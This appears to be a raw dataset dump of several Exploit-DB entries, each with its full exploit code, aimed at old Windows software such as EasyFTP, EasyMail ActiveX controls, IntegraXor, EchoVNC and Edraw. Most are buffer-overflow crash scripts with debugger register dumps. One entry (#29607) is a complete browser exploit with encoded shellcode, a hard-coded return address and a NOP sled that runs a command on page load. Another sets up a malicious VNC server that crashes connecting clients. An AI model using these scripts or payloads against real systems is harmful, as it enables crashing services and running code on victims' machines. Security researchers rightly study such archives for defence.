deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11470
Description: EasyFTP Server 1.7.0.2 - (Authenticated) Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-02-15
Author: loneferret

Exploit:
#!/usr/bin/python

# Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF (PoC)
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Hat's off to dookie2000ca
# Date Found: 13/02/2010
# Developer contacted: 14/02/2010
# Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Tested on: Windows XP SP2/SP3 Professional
# Nod to the Exploit-DB Team

# Vulnerable command: MKD
# EIP is overwritten at bytes 269-270-271-272
# badchars: \x0a \x2f \x5c
# call/jmp EBP is one metod of jumping to our shellcode
# We have 268 bytes of room (max), seeing the jump or call EBP will bring us
# right at the start of our offset. So 265 bytes of room just to be sure.

#EAX 0081FCB4
#ECX 41414141
#EDX 00000010
#EBX 00000001
#ESP 0081FC78 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@9_"
#EBP 005F5CA8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
#ESI 005F4B70
#EDI 005F4B70
#EIP 41414141
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDC000(FFF)
#T 0 GS 0000 NULL
#D 0
#O 0 LastErr ERROR_SUCCESS (00000000)
#EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
#ST0 empty %#.19L
#ST1 empty +UNORM 03E9 [PII_REDACTED]
#ST2 empty 0.0
#ST3 empty 0.0
#ST4 empty -UNORM FAB4 [PII_REDACTED]
#ST5 empty +UNORM 09B8 00000011 7C910732
#ST6 empty %#.19L
#ST7 empty -??? FFFF 7C910738 7C90EE18
# 3 2 1 0 E S P U O Z D I
#FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
#FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

import socket

buffer = "\x41" * 320


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
s.send('MKD ' + buffer + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Exploit-DB #11469
Description: EasyFTP Server 1.7.0.2 - (Authenticated) Buffer Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2010-02-15
Author: loneferret

Exploit:
#!/usr/bin/python

# Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF (SEH) (PoC)
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Hat's off to dookie2000ca
# Date Found: 13/02/2010
# Developer contacted: 14/02/2010
# Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Tested on: Windows XP SP2/SP3 Professional
# Nod to the Exploit-DB Team

# Vulnerable commands: MKD / DELE
# badchars: \x00 \x0a \x2f \x5c

#SEH chain of thread 000001D8, item 0
# Address=0081FC60
# SE handler=41414141



#EAX 41414141
#ECX 0081FCCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
#EDX 005F3958
#EBX 00000000
#ESP 0081FB14
#EBP 00000000
#ESI 0081FCCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
#EDI 00000000
#EIP 0040BFDC ftpbasic.0040BFDC
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDD000(FFF)
#T 0 GS 0000 NULL
#D 0
#O 0 LastErr ERROR_INVALID_PARAMETER (00000057)
#EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
#ST0 empty %#.19L
#ST1 empty +UNORM 03E9 [PII_REDACTED]
#ST2 empty 0.0
#ST3 empty 0.0
#ST4 empty -UNORM FAB4 [PII_REDACTED]
#ST5 empty +UNORM 09B8 00000011 7C910732
#ST6 empty %#.19L
#ST7 empty -??? FFFF 7C910738 7C90EE18
# 3 2 1 0 E S P U O Z D I
#FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
#FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1


import socket


buffer = "\x41" * 505


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
s.send('MKD ' + buffer + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Exploit-DB #33225
Description: EasyMail Objects 6.0.2.0 - 'emimap4.dll' ActiveX Control Remote Code Execution
Type: dos
Platform: windows
Date: 2009-09-15
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/36409/info

EasyMail Objects ActiveX control is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application (typically Internet Explorer) using the ActiveX control. Failed exploit attempts likely result in denial-of-service conditions.

EasyMail Objects 6.0.2.0 is vulnerable; other versions may also be affected.
Spam Inspector 4.0.354 is vulnerable.

<HTML> <object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object> <script language = 'vbscript'> Scrap = unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") code = Scrap target.LicenseKey = code </script> <html>
Exploit-DB #29607
Description: EasyMail Objects 6.x - Connect Method Remote Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2007-02-02
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/22583/info

EasyMail Objects is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data prior to copying it to an insufficiently sized buffer.

An attacker can leverage this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Versions prior to EasyMail Objects 6.5 are vulnerable.
Spam Inspector 4.0.354 is vulnerable. 

<html> <head> <title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 440) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); var eip = unescape("%0F%DD%17%7D"); // Windows XP SP2 English var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + eip + nop + shellcode1 + nop; obj.connect(m); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D"> Failed to instantiate object. </object> </body> </html>
Exploit-DB #9684
Description: EasyMail Quicksoft 6.0.2.0 - ActiveX Remote Code Execution (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  EasyMail Quicksoft 6.0.2.0
            
Platforms:    Windows XP Professional French SP2

crash:	      IE 6.0.2900.2180
	      
	
Exploitation: remote Code Execution

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Create, send, download, parse, print and store internet email messages in your classic windows application.  Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments.  COM or standard DLL interfaces.  This is the software that processes hundreds of millions of email messages on the Internet every day.

#####################################################################################

============================
2) Technical details 
============================

Name:	emimap4.dll
Ver.:	6.0.2.0
CLSID:	{0CEA3FB1-7F88-4803-AA8E-AD021566955D}

ModLoad: 037f0000 0381e000   C:\WINDOWS\system32\emimap4.dll
(2088.2388): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0380c878 ecx=0012df70 edx=00000039 esi=0033df18 edi=0033e14c
eip=41414141 esp=0012df88 ebp=41414141 iopl=0         nv up ei pl zr na pe nc





#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;

<HTML>
<object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object>
<script language = 'vbscript'>



  Scrap  =   unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")


  code = Scrap


  target.LicenseKey = code


</script>
<html>
~



#####################################################################################

# milw0rm.com [2009-09-15]
Exploit-DB #9685
Description: EasyMail Quicksoft 6.0.2.0 - CreateStore ActiveX Code Execution (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  EasyMail Quicksoft 6.0.2.0
            
Platforms:    Windows XP Professional French SP2

crash:	      IE 6.0.2900.2180
	      
	
Exploitation: remote Code Execution

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Create, send, download, parse, print and store internet email messages in your classic windows application.  Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments.  COM or standard DLL interfaces.  This is the software that processes hundreds of millions of email messages on the Internet every day.

#####################################################################################

============================
2) Technical details 
============================

Name:	emmailstore.dll
Ver.:	6.0.2.0
CLSID:	{18A76B9A-45C1-11D3-80DC-00C04F6B92D0}

ModLoad: 10[PII_REDACTED]c000   C:\WINDOWS\system32\emmailstore.dll
(1670.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002bd ebx=00000000 ecx=0003ea80 edx=00030608 esi=00038790 edi=00000193
eip=41414141 esp=0013eb44 ebp=0013eb60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
41414141 ??              ???





#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;

<HTML>
<object classid='clsid:18A76B9A-45C1-11D3-80DC-00C04F6B92D0' id='target' />
<script language='vbscript'>

argCount   = 2

arg1=String(402, "A")
arg2=1

target.CreateStore arg1 ,arg2 

</script>
<html>
~



#####################################################################################

# milw0rm.com [2009-09-15]
Exploit-DB #15767
Description: Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-12-18
Author: Jeremy Brown

Exploit:
#!/usr/bin/python
# intx.py
# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
# Jeremy Brown
# December 2010
# http://www.integraxor.com/
#
# There is a stack-based buffer overflow in IntegraXor that can be triggered
# by passing an overly large value to the "save" method of the IntegraXor.Project
# control located in igcomm.dll. This control is marked both safe for scripting
# and safe for initialization.
#
# .text:100027C1                 push    eax             ; lpString2
# .text:100027C2                 lea     eax, [esp+84Ch+String1]
# .text:100027C6                 push    eax             ; lpString1
# .text:100027C7                 call    ds:lstrcpyW
# .text:100027CD                 lea     ecx, [esp+848h+String1]
# .text:100027D1                 push    ecx
# .text:100027D2                 call    SplitPath
# .text:100027D7                 add     esp, 4
# .text:100027DA                 lea     ecx, [esp+848h+var_83C]
# .text:100027DE                 call    ds:??0?$basic_string@_WU?$char<truncated>
# .text:100027E4                 cmp     dword ptr [esi+20h], 8
# .text:100027E8                 jb      short loc_100027EF
# .text:100027EA                 mov     esi, [esi+0Ch]
# .text:100027ED                 jmp     short loc_100027F2
#
# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
# adds a terminating NULL byte to the end.
#
# If you attach a debugger and set a breakpoint on 100027CD, you can see an
# exception registration record is stored before the return address:
#
# ESP+83C  > 00420042  B.B.  Pointer to next SEH record
# ESP+840  > 00420042  B.B.  SE handler
# ESP+844  > FFFF0000  ..��
# ESP+848  > 10007916  xxxx  RETURN to igcom.10007916 from igcom.10002770
#
# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
# the return address, but it will exit with a c0000409 code (/GS exception). 
#
# Tested Ecava IntegraXor 3.5.3900.5 on Windows
#
# Fixed version: 3.5.3900.10
#

import sys
import socket

resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">

data="IntegraXor"
filepath=String(1038,"B")

target.save data,filepath

</script>
</body>
</html>
"""

port=80

try:
     sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     sock.bind(("",port))
     sock.listen(1)
     conn,addr=sock.accept()

except IOError,e:
     print e

print "Client at %s connected\n"%addr[0]

req=conn.recv(1024)

print "Sending data..."
conn.send(resp)
print "Done"
conn.close()
Exploit-DB #46216
Description: Echo Mirage 3.1 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2019-01-21
Author: InitD Community

Exploit:
#!/usr/bin/python

# Exploit Title: Echo Mirage 3.1 Buffer Overflow PoC (Stack Overflow)
# Date: 21-01-2019
# Software Link: https://sourceforge.net/projects/echomirage.oldbutgold.p/
# Version: 3.1 (x64)
# Exploit Author: InitD Community
# Contact: https://twitter.com/initd_sh
# Website: http://initd.sh/
# Tested on: Windows 7


"""
Step to Reproduce : Open Echo Mirage --> 1) Click on "Rules" --> 2) click on "New" --> 3)Copy "Echo-Mirage-BoF-POC.txt" content and Paste  in "action" field. --> BOoo0m.

Thanks: Touhid M.Shaikh(@touhidshaikh22), Shrutirupa(@creak_crypt)
This Bug Identified by Touhid M.Shaikh
"""

buffer = "A"*24241

RBP = "B"*8

PAD = "C"*50

evil = buffer + RBP + PAD


evil_file = open("Echo-Mirage-BoF-POC.txt","w")

evil_file.write(evil)

evil_file.close()
Exploit-DB #27292
Description: EchoVNC Viewer - Remote Denial of Service
Type: dos
Platform: windows
Date: 2013-08-02
Author: Z3r0n3

Exploit:
#!/usr/bin/env python
#================================================================#
# [+] Title: EchoVNC Viewer Remote DoS Vulnerability             #
# [+] Discovered: 29/07/2013                                     #
# [+] Software Vendor: http://sourceforge.net/projects/echovnc/  #
# [+] Author: Z3r0n3 - Independent Security Researcher           #                                          
# [+] Contact: z3r0n3@mail.com                                   #
# [+] Overview:                                                  #
#   A remote attacker can crash EchoVNC Viewer by sending a      #
#   malformed request. the crash occurs when EchoVNC             #
#   Viewer allocate a buffer from heap with the size specified   #
#   by the malicious server.                                     #
# [+] NOTICE:                                                    #
#   You need to configure EchoVNC Viewer with the specified      #
#   host/port below.                                             #
#   When running the exploit, you need to put the IP and press   #
#   OK button on EchoVNC Viewer main window.                     #
#================================================================#

import socket, sys;

host="localhost" # Put the victim IP here
port=5900;
malreq=b"\x00\x00\x00\x00\x90\x90\x90\x90" # the first 4 bytes specifies if the
                                           # server needs authentication
                                           # \x00\x00\x00\x00 means the server
                                           # doesn't need user/password
                                           # the last 4 bytes specifies the
                                           # buffer size that will be allocated
                                           # in heap

print("[+] Creating socket...");
srv=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
try:
    print("[+] Trying to bind..");
    srv.bind((host,port));
except socket.error:
    print("[!] Can't connect...");
    srv.close()
    sys.exit()

print("[+] Trying to listen to %s:%d"%(host,port));
srv.listen(5)
cnx, addr=srv.accept()
print("[+] Client connected %s:%s"%(addr[0], addr[1]))
print("[+] Sending protocol signature...");
cnx.send(b"RFB 003.008\n")
print("[+] Sending malformed request with huge size for heap allocation");
cnx.send(malreq);
cnx.close()
srv.close()
print("[x] EchoVNC Viewer should be down...");
Exploit-DB #46196
Description: Eco Search 1.0.2.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-18
Author: 0xB9

Exploit:
# Exploit Title: Eco Search 1.0.2.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9N05DCQP5C3W
# Version: 1.0.2.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash

buffer = "A" * 950
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #11810
Description: eDisplay Personal FTP Server 1.0.0 - (Authenticated) Multiple Crashs (SEH) (PoC)
Type: dos
Platform: windows
Date: 2010-03-19
Author: loneferret

Exploit:
# Title: eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Crash (PoC)
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Hat's off to dookie2000ca
# Disvovery date: 16/03/2010
# Software link: http://edisplay-personal-ftp-server.software.informer.com/
# Tested on: Windows XP SP3 Professional
# Nod to the Exploit-DB Team

# Vendor informed via email : 17/03/2010

#THE README PART
#The STOR command will crash the server and overwrite a few interesting CPU registers (as shown below).
#Other commands that will gives similar results are: CD / MKD / RMD They all overwrite SEH in the same
#manner as the STOR command.
#During our research, we discovered many other DoS possibilities. These character combinations (%s & %n like DELE) 
#are pretty good at crashing this application.
#As always, if someone wishes to take this further go right ahead. Play nice, and remember where you got it from.
#Thank you.


#SEH chain of main thread
#Address SE handler
#0012C[PII_REDACTED]1

#EAX 7EFEFEFE
#ECX 0012FEF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAAAAAAA,,,,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EDX 41414141
#EBX 0139B8D0
#ESP 0012C30C
#EBP 0012C894 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAA\AAAAAAAAAAAAAAAAAA
#ESI 00000000
#EDI 0012FFFD
#EIP 50E14321 FtpSer_1.50E14321
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 1 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDF000(FFF)
#T 0 GS 0000 NULL
#D 0
#O 0 LastErr ERROR_SUCCESS (00000000)
#EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
#ST0 empty %#.19L
#ST1 empty %#.19L
#ST2 empty +UNORM 19C4 00000000 7FFDF000
#ST3 empty -NAN FFFF 805970D5 F6B61A24
#ST4 empty -UNORM F000 0012FFA8 7FFDF6CC
#ST5 empty +UNORM 0[PII_REDACTED]0 F6B62000
#ST6 empty 0.0
#ST7 empty 45[PII_REDACTED]99995440
# 3 2 1 0 E S P U O Z D I
#FST 0100 Cond 0 0 0 1 Err 0 0 0 0 0 0 0 0 (LT)
#FCW 137F Prec NEAR,64 Mask 1 1 1 1 1 1

#!/usr/bin/python

import socket

buffer= "\x41" * 270

print "Fuzzing CD\r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
s.send('STOR ' + buffer + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Exploit-DB #22395
Description: eDonkey Clients 0.44/0.45 - Multiple Chat Dialog Resource Consumption Vulnerabilities
Type: dos
Platform: windows
Date: 2003-03-21
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/7164/info

A vulnerability has been reported for eDonkey clients for Windows that will result in a denial of service condition.

The vulnerability occurs when numerous chat dialog boxes are opened by the eDonkey or Overnet clients. Every open chat dialog box will consume a small amount of memory and CPU cycles. 

An attacker can exploit this vulnerability by connecting to a vulnerable eDonkey user and issuing numerous chat requests.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22420.zip
Exploit-DB #18461
Description: Edraw Diagram Component 5 - ActiveX Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2012-02-04
Author: Senator of Pirates

Exploit:
Author : Senator of Pirates

This exploit tested on Windows Xp SP3 EN

http://www.edrawsoft.com/download/EDBoardSetup.exe

--------------------------------------------------------------------------------------------------------

<object classid='clsid:6116A7EC-B914-4CCE-B186-66E0EE7067CF' id='target' />
<script language='vbscript'>

targetFile = "C:\Program Files\edboard\EDBoard.ocx"
prototype  = "Invoke_Unknown LicenseName As String"
memberName = "LicenseName"
progid     = "EDBoardLib.EDBoard"
argCount   = 1

arg1=String(3092, "A")

target.LicenseName = arg1

</script>